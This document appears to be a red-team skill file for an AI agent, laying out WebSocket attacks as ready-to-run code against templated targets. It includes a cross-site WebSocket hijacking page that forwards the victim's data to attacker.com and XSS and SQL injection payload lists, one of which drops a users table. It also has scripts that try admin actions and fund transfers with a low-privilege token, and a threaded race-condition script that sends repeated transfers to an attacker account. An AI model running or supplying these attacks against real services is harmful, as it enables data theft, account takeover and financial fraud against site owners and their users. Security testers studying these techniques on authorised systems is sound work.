---
name: rt-exploit-websocket
description: "WebSocket exploitation: cross-site WebSocket hijacking (CSWSH), WebSocket injection (XSS/SQLi via WS), auth bypass on WS upgrade, message tampering, race conditions, denial-of-service, hijacking via CSRF on WS handshake."
---

# rt-exploit-websocket

## WebSocket Attack Surface

```
Handshake (HTTP→WS):
  ├── CSRF on upgrade request → Cross-Site WebSocket Hijacking
  ├── Missing auth check      → Unauthenticated WS connection
  └── Origin header bypass    → Cross-origin WS access

Message Layer:
  ├── Input not sanitized     → XSS, SQLi, command injection via WS
  ├── No auth per message     → Privilege escalation mid-session
  └── Binary protocol         → fuzzing for crashes/bugs

Session Management:
  ├── Reuse of WS tokens      → Replay attacks
  └── Race conditions         → State manipulation
```

---

## 1. Cross-Site WebSocket Hijacking (CSWSH)

```javascript
// Attacker hosts this page — victim's browser connects
// Only works if server checks Origin weakly or not at all

<script>
var ws = new WebSocket('wss://victim.com/chat');

ws.onopen = function() {
    ws.send(JSON.stringify({type: "get_user_data"}));
    ws.send(JSON.stringify({type: "get_chat_history", room: "admin"}));
};

ws.onmessage = function(event) {
    // Exfiltrate all data received
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify({data: event.data}),
    });
};
</script>
```

```bash
# Test CSWSH with websocat
docker exec rtexit-kali bash -c "
websocat -H 'Origin: https://evil.com' \
  'wss://{target}/ws' \
  <<< '{\"type\":\"get_messages\"}'
"

# Test with custom Origin values
for origin in 'null' 'https://evil.com' 'https://{target}.evil.com' 'https://evil.{target}'; do
  echo "Testing Origin: $origin"
  docker exec rtexit-kali bash -c "websocat -H 'Origin: $origin' wss://{target}/ws <<< 'test'"
done
```

## 2. WebSocket Injection (XSS via WS)

```python
import websocket
import json

# Test XSS payloads through WebSocket messages
XSS_PAYLOADS = [
    '<script>alert(document.cookie)</script>',
    '"><img src=x onerror=alert(1)>',
    'javascript:alert(1)',
    '<script>alert(1)</script>',
]

# Test SQLi via WebSocket
SQLI_PAYLOADS = [
    "' OR 1=1--",
    "' UNION SELECT null,null,null--",
    "'; DROP TABLE users;--",
]

ws = websocket.create_connection(
    "wss://{target}/ws",
    header={"Authorization": "Bearer {token}"}
)

for payload in XSS_PAYLOADS + SQLI_PAYLOADS:
    msg = json.dumps({"type": "search", "query": payload})
    ws.send(msg)
    response = ws.recv()
    print(f"Sent: {payload[:50]}")
    print(f"Response: {response[:100]}")
    print("---")

ws.close()
```

## 3. WS Auth Bypass

```bash
# Test if WebSocket requires authentication
docker exec rtexit-kali bash -c "
# Without auth token
websocat 'wss://{target}/ws' <<< '{\"type\":\"get_data\"}'

# With expired token
websocat -H 'Authorization: Bearer {expired_token}' 'wss://{target}/ws' <<< '{\"type\":\"admin_list_users\"}'

# Test auth on upgrade request vs message level
# Some apps auth the upgrade but not individual messages → privilege escalation"

# Test privileged operations with low-priv token
docker exec rtexit-kali bash -c "
python3 << 'EOF'
import websocket, json

# Connect as low-priv user
ws = websocket.create_connection('wss://{target}/ws',
    header={'Authorization': 'Bearer {low_priv_token}'})

# Try admin operations
admin_ops = [
    {'type': 'admin_reset_password', 'user': 'admin@{target}'},
    {'type': 'get_all_users'},
    {'type': 'view_payment_data', 'user_id': '1'},
    {'type': 'transfer_funds', 'from': '100', 'to': '999', 'amount': '1000'},
]

for op in admin_ops:
    ws.send(json.dumps(op))
    print(f'OP: {op[\"type\"]} → {ws.recv()[:100]}')

ws.close()
EOF"
```

## 4. WebSocket Race Condition

```python
import websocket, json, threading, time

# Race condition: send concurrent messages that shouldn't both succeed
# e.g. double-spend, claim same resource twice

TARGET = "wss://{target}/ws"
TOKEN = "{auth_token}"

def send_transfer(ws_url, token, amount):
    ws = websocket.create_connection(ws_url, header={"Authorization": f"Bearer {token}"})
    ws.send(json.dumps({"type": "transfer", "amount": amount, "to": "attacker"}))
    result = ws.recv()
    print(f"Transfer result: {result}")
    ws.close()

# Launch 10 concurrent transfers simultaneously
threads = []
for i in range(10):
    t = threading.Thread(target=send_transfer, args=(TARGET, TOKEN, 100))
    threads.append(t)

# Start all simultaneously
for t in threads:
    t.start()
for t in threads:
    t.join()
```

## 5. Burp Suite WS Testing

```
1. Intercept WS messages: Proxy → WebSockets history
2. Send to Repeater: right-click → Send to Repeater
3. Modify message and resend
4. Use Intruder: send WS message to Intruder for fuzzing

# Manual test checklist:
[ ] Origin header accepted? (CSWSH test)
[ ] Auth required for upgrade?
[ ] Auth validated per message?
[ ] Input sanitized in WS messages?
[ ] Rate limiting on WS messages?
[ ] Reconnection tokens expire?
```

## Related Skills

→ `rt-exploit-web` — General web exploitation
→ `rt-exploit-ssrf` — SSRF via WebSocket upgrade
→ `rt-race-conditions` — Race conditions
→ `rt-exploit-xss` — XSS via WebSocket echo
